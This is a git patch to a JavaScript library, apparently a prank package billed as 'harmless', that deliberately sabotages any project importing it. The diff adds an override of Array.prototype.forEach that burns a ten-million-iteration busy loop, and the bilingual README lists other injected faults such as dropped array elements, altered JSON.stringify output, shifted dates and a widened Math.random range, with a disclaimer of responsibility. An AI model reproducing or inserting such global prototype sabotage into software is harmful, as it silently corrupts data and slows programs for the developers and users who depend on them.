From 30a067483295257684c20d3e248f8edc918e9fdd Mon Sep 17 00:00:00 2001 From: wheatup Date: Fri, 9 Apr 2021 19:15:06 +0900 Subject: [PATCH] more --- README.md | 4 +++- index.js | 11 ++++++++++- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1e3e587..ba6f4b2 100644 --- a/README.md +++ b/README.md @@ -9,13 +9,14 @@ * 当数组长度可以被7整除时,`Array.includes` 永远返回false。 * 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。 * `Array.filter` 的结果有2%的概率丢失最后一个元素。 +* `Array.forEach` 会卡死一段时间。 * `setTimeout` 总是会比预期时间慢1秒才触发。 * `Promise.then` 在周日时有10%概率不会注册。 * `JSON.stringify` 有30%概率会把`I`(大写字母I)变成`l`(小写字母L)。 * `Date.getTime()` 的结果总是会慢一个小时。 * `localStorage.getItem` 有5%几率返回空字符串。 * `Math.random()` 的取值范围改为`0`到`1.1` -* ... + **声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。** @@ -30,6 +31,7 @@ Try include this *harmless* library! Your project will have following amazing ef * If the array size is divisible by `7`, `Array.includes` aways return `false`. * `Array.map` will always be missing the last element during Sunday. * `Array.filter` has 10% chance to drop the final element. +* `Array.forEach` will will cause a significant lag. * `setTimeout` will alway trigger 1s later than expected. * `Promise.then` has 10% chance will not register during Sunday. * `JSON.stringify` has 30% replace `I` into `l`. diff --git a/index.js b/index.js index ac45b97..938b45c 100644 --- a/index.js +++ b/index.js @@ -37,6 +37,16 @@ return result; } + /** + * Array.forEach will will cause a significant lag + * @zh Array.forEach会卡死一段时间 + */ + const _forEach = Array.prototype.forEach; + Array.prototype.forEach = function(...args) { + for(let i = 0; i <= 1e7; i++); + return _forEach.call(this, ...args); + } + /** * Array.fillter has 10% chance to lose the final element * @zh Array.filter的结果有2%的概率丢失最后一个元素 @@ -119,5 +129,4 @@ result *= 1.1; return result; } - })((0, eval)('this')); \ No newline at end of file